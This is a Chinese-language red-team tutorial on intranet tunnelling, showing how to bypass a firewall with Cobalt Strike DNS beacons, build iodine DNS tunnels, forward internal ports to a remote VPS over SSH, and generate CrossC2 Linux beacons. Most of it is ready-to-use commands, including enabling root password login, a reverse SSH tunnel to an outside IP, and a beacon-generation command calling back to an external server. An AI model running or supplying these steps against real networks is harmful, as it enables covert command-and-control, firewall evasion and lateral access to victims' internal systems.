内网安全-隧道技术&SSH实现通信&DNS上线与通信&CS上线Linux主机
一、DNS隧道技术
DNS简介:DNS协议为应用层协议,区域传输时用tcp协议,域名解析时用udp协议
###通过DNS隧道绕过防火墙,实现CS上线
实验背景:靶机防火墙封禁出站TCP协议
1、判断出网协议,若果可以ping通,可以利用ICMP协议隧道(之前文章有利用详情)
2、判断是否可以使用DNS协议搭建隧道:nslookup(nslookup baidu.com)
3、在自己的域名服务中添加NS记录(将子域名指定其他DNS服务器解析)和A(将一个域名指定为IPV4地址)记录,最好添加两条
www.dafei6.cn 解析结果 8.130.119.xx
ns1.dafei6.cn 解析结果为 www.dafei6.cn
ns2.dafei6.cn 解析结果为 www.dafei6.cn
4、VPS防火墙(安全组)开放DUP端口53,
注意:DNS paylod默认使用53端口,所以一定要把vps的53端口kill掉,端口占用是不会上线的。
查看53端口是否占用,lsof -i:53
5、启动CS,创建DNS Beacon,Payload设置DNS地址为ns1.dafei6.cn、ns2.dafei6.cn,StagerDNS地址设置为www.dafei6.cn,生成后门
5、靶机运行木马,CS实现上线,会话交互输入mode dns-txt,即可上线
###通过DNS隧道绕过防火墙保持与靶机(内网)的通信
实验背景:靶机防火墙封禁出站TCP协议,获取到执行cmd的权限
实验工具:iodined(https://github.com/yarrick/iodine)
1、在服务器中执行 iodined -f -c -P dafei 192.168.0.1 ns1.dafei6.cn -DD //设置密码dafei并创建虚拟IP及绑定域名指向ns1.dafei6.cn,服务器会新建一个IP为192.168.0.1的网卡
iodined -f -c -P Micr067 192.168.0.1 vpn.abc.com -DD
-f:在前台运行
-c:禁止检查所有传入请求的客户端IP地址。
-P:客户端和服务端之间用于验证身份的密码。
-D:指定调试级别,-DD指第二级。“D”的数量随级别增加。
这里的192.168.0.1是自定义的局域网虚拟IP地址
apt-get update
apt install iodine
2、在靶机CMD中执行 iodine.exe -f -M 200 -P dafei ns1.dafei6.cn //靶机会新建一个IP为192.168.0.X/24的C段网卡,实现与服务器的同网段通信
iodine -f -P Micr067 vpn.abc.ltd -M 200
-r:iodine有时会自动将DNS隧道切换为UDP隧道,该参数的作用是强制在任何情况下使用DNS隧道
-M:指定上行主机的大小。
-m:调节最大下行分片的大小。
-T:指定DNS请求类型TYPE,可选项有NULL、PRIVATE、TXT、SRV、CNAME、MX、A。
-O:指定数据编码规范。
-L:指定是否开启懒惰模式,默认开启。
-I:指定两个请求之间的时间间隔。
二、SSH隧道技术(利用SSH协议将同网段的内网主机端口服务转发到远程vps)
1、通讯:
由于SSH协议存在于Linux系统,跳板机必须Linux
开启ssh协议登录:
vi /etc/ssh/sshd_config
PermitRootLogin yes
PasswordAuthentication yes
/etc/init.d/ssh start
/etc/init.d/ssh restart
靶机封禁出站,采取正向入站,将内网主机的端口服务封装到本地,实现端口的转发
ssh -CfNg -L 1234:192.168.131.134:80 root@192.168.131.128 //将内网主机192.168.131.134的80端口转发至本地192.168.131.128的8877端口
curl http://127.0.0.1:8877
靶机封禁入站,采取反向出站
在跳板机192.168.131.128中输入:ssh -CfNg -R 9988:192.168.131.134:80 root@8.130.119.137 //将内网主机192.168.131.134的80端口转发至8.130.119.137的9988端口
在远程VPS(8.130.119.137)中访问:curl http://127.0.0.1:9988
三、CS上线linux系统(利用CrossC2.cna)
1、首先下载CrossC2(https://github.com/gloxec/CrossC2)目前版本只支持反向的https和正向的tcp
将对应服务器系统类型的相关插件和文件传入CS根目录,并赋予一定的执行权限
2、新建监听器,生成木马
3、根据CS的事件日志,生成木马
/root/CS4.5 /genCrossC2.Linux 8.130.119.137 5566 ./.cobaltstrike.beacon_keys null Linux x64 t_cc2.out
4、上传木马文件,添加执行权限